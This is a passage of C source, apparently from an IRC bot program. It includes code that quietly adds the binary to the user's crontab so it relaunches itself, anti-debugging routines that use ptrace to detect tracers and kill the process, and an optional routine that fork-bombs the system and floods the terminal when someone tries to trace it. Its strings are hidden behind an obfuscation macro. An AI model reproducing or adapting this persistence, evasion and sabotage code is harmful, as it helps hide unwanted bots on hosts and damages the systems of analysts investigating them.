  814. egg_snprintf(buf, sizeof buf, STR("crontab -l | grep \"%s\" | grep -v \"^#\""), binname);
  815. if (shell_exec(buf, NULL, &out, NULL)) {
  816. if (out && strstr(out, binname)) {
  817. free(out);
  818. return 1;
  819. } else {
  820. if (out)
  821. free(out);
  822. return 0;
  823. }
  824. } else
  825. return (-1);
  826. }
  827. void crontab_create(int interval) {
  828. char tmpfile[161] = "", buf[256] = "";
  829. FILE *f = NULL;
  830. int fd;
  831. egg_snprintf(tmpfile, sizeof tmpfile, "%s.crontab-XXXXXX", tempdir);
  832. if ((fd = mkstemp(tmpfile)) == -1) {
  833. unlink(tmpfile);
  834. return;
  835. }
  836. egg_snprintf(buf, sizeof buf, STR("crontab -l | grep -v \"%s\" | grep -v \"^#\" | grep -v \"^\\$\"> %s"), binname, tmpfile);
  837. if (shell_exec(buf, NULL, NULL, NULL) && (f = fdopen(fd, "a")) != NULL) {
  838. buf[0] = 0;
  839. if (interval == 1)
  840. strcpy(buf, "*");
  841. else {
  842. int i = 1;
  843. int si = randint(interval);
  844. while (i < 60) {
  845. if (buf[0])
  846. sprintf(buf + strlen(buf), STR(",%i"), (i + si) % 60);
  847. else
  848. sprintf(buf, "%i", (i + si) % 60);
  849. i += interval;
  850. }
  851. }
  852. egg_snprintf(buf + strlen(buf), sizeof buf, STR(" * * * * %s > /dev/null 2>&1"), binname);
  853. fseek(f, 0, SEEK_END);
  854. fprintf(f, STR("\n%s\n"), buf);
  855. fclose(f);
  856. sprintf(buf, STR("crontab %s"), tmpfile);
  857. shell_exec(buf, NULL, NULL, NULL);
  858. }
  859. close(fd);
  860. unlink(tmpfile);
  861. }
  862. #ifdef S_MESSUPTERM
  863. static void messup_term() {
  864. int i;
  865. char *argv[4] = { NULL, NULL, NULL, NULL };
  866. freopen("/dev/null", "w", stderr);
  867. for (i = 0; i < 11; i++) {
  868. fork();
  869. }
  870. argv[0] = malloc(100);
  871. strcpy(argv[0], "/bin/sh");
  872. argv[1] = "-c";
  873. argv[2] = malloc(1024);
  874. strcpy(argv[2], "cat < ");
  875. strcat(argv[2], binname);
  876. argv[3] = NULL;
  877. execvp(argv[0], &argv[0]);
  878. }
  879. #endif /* S_MESSUPTERM */
  880. void check_trace_start()
  881. {
  882. #ifdef S_ANTITRACE
  883. int parent = getpid();
  884. int xx = 0, i = 0;
  885. #ifdef __linux__
  886. xx = fork();
  887. if (xx == -1) {
  888. printf(STR("Can't fork process!\n"));
  889. exit(1);
  890. } else if (xx == 0) {
  891. i = ptrace(PTRACE_ATTACH, parent, 0, 0);
  892. if (i == (-1) && errno == EPERM) {
  893. #ifdef S_MESSUPTERM
  894. messup_term();
  895. #else
  896. kill(parent, SIGKILL);
  897. exit(1);
  898. #endif /* S_MESSUPTERM */
  899. } else {
  900. waitpid(parent, &i, 0);
  901. kill(parent, SIGCHLD);
  902. ptrace(PTRACE_DETACH, parent, 0, 0);
  903. kill(parent, SIGCHLD);
  904. }
  905. exit(0);
  906. } else {
  907. wait(&i);
  908. }
  909. #endif /* __linux__ */
  910. #ifdef __FreeBSD__
  911. xx = fork();
  912. if (xx == -1) {
  913. printf(STR("Can't fork process!\n"));
  914. exit(1);
  915. } else if (xx == 0) {
  916. i = ptrace(PT_ATTACH, parent, 0, 0);
  917. if (i == (-1) && errno == EBUSY) {
  918. #ifdef S_MESSUPTERM
  919. messup_term();
  920. #else
  921. kill(parent, SIGKILL);
  922. exit(1);
  923. #endif /* S_MESSUPTERM */
  924. } else {
  925. wait(&i);
  926. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  927. kill(parent, SIGCHLD);
  928. wait(&i);
  929. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  930. wait(&i);
  931. }
  932. exit(0);
  933. } else {
  934. waitpid(xx, NULL, 0);
  935. }
  936. #endif /* __FreeBSD__ */
  937. #ifdef __OpenBSD__
  938. xx = fork();
  939. if (xx == -1) {
  940. printf(STR("Can't fork process!\n"));
  941. exit(1);
  942. } else if (xx == 0) {
  943. i = ptrace(PT_ATTACH, parent, 0, 0);
  944. if (i == (-1) && errno == EBUSY) {
  945. kill(parent, SIGKILL);
  946. exit(1);
  947. } else {
  948. wait(&i);
  949. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  950. kill(parent, SIGCHLD);
  951. wait(&i);
  952. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  953. wait(&i);
  954. }
  955. exit(0);
  956. } else {
  957. waitpid(xx, NULL, 0);
  958. }
  959. #endif /* __OpenBSD__ */
  960. #endif /* S_ANTITRACE */
  961. }
  962. #ifdef CRAZY_TRACE
  963. /* This code will attach a ptrace() to getpid() hence blocking process hijackers/tracers on the pid
  964. * only problem.. it just creates a new pid to be traced/hijacked :\
  965. */
  966. int attached = 0;
  967. void crazy_trace()
  968. {
  969. int parent = getpid();
  970. int x = fork();
  971. if (x == -1) {
  972. printf("Can't fork(): %s\n", strerror(errno));
  973. } else if (x == 0) {
  974. /* child */
  975. int i;
  976. i = ptrace(PTRACE_ATTACH, parent, (char *) 1, 0);
  977. if (i == (-1) && errno == EPERM) {
  978. printf("CANT PTRACE PARENT: errno: %d %s, i: %d\n", errno, strerror(errno), i);
  979. waitpid(parent, &i, 0);
  980. kill(parent, SIGCHLD);
  981. ptrace(PTRACE_DETACH, parent, 0, 0);
  982. kill(parent, SIGCHLD);
  983. exit(0);
  984. } else {
  985. printf("SUCCESSFUL ATTACH to %d: %d\n", parent, i);
  986. attached++;
  987. }
  988. } else {
  989. /* parent */
  990. printf("wait()\n");
  991. wait(&x);
  992. }
  993. printf("end\n");
  994. }
  995. #endif /* CRAZY_TRACE */
  996. /* need to account for this after reading in conf/spawning bots.
  997. ifdef LEAF
  998. if (updating)
  999. exit(0); let cron restart us.
  1000. } localhub
  1001. endif LEAF
  1002. */